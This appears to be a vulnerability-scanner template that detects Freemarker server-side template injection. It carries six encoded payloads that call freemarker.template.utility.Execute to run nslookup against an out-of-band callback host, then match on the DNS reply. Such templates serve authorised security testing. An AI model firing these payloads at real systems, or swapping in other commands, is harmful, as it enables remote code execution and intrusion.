freemarker-oob: Freemarker 2.3.33 - Out of Band Template Injection

id: freemarker-oob

info:
  name: Freemarker 2.3.33 - Out of Band Template Injection
  author: 0xAwali,DhiyaneshDK,ritikchaddha
  severity: high
  reference:
    - https://mvnrepository.com/artifact/org.freemarker/freemarker
    - https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
    - https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/Java.md#freemarker---code-execution
  metadata:
    verified: true
  tags: ssti,dast,oast,oob,vuln

http:
  - pre-condition:
      - type: dsl
        dsl:
          - 'method == "GET"'

    payloads:
      injection:
        - "%3c%23assign%20rce%3d%22freemarker.template.utility.Execute%22%3fnew()%3e%20%0d%0a%24%7b%20rce(%22nslookup%20-type=SRV%20{{interactsh-url}}%22)%20%7d"
        - "%3c%23assign%20rce%3d%22freemarker.template.utility.Execute%22%3fnew()%3e%20%0d%0a%24%7b%20rce(%22nslookup%20-type=SRV%20{{interactsh-url}}%22)%20%7d"
        - "[#assign%20ex%20=%20%27freemarker.template.utility.Execute%27?new()]${%20ex(%22nslookup%20-type%3DSRV%20{{interactsh-url}}%22)}"
        - "${%22freemarker.template.utility.Execute%22?new()(%22nslookup%20-type%3DSRV%20{{interactsh-url}}%22)}"
        - "#{%22freemarker.template.utility.Execute%22?new()(%22nslookup%20-type%3DSRV%20{{interactsh-url}}%22)}"
        - "[=%22freemarker.template.utility.Execute%22?new()(%22nslookup%20-type%3DSRV%20{{interactsh-url}}%22)]"

    fuzzing:
      - part: query
        type: postfix
        mode: single
        fuzz:
          - "{{injection}}"

    matchers:
      - type: dsl
        name: request-matcher
        dsl:
          - "contains(interactsh_protocol,'dns')"
          - "contains(interactsh_request,'srv')"
        condition: and
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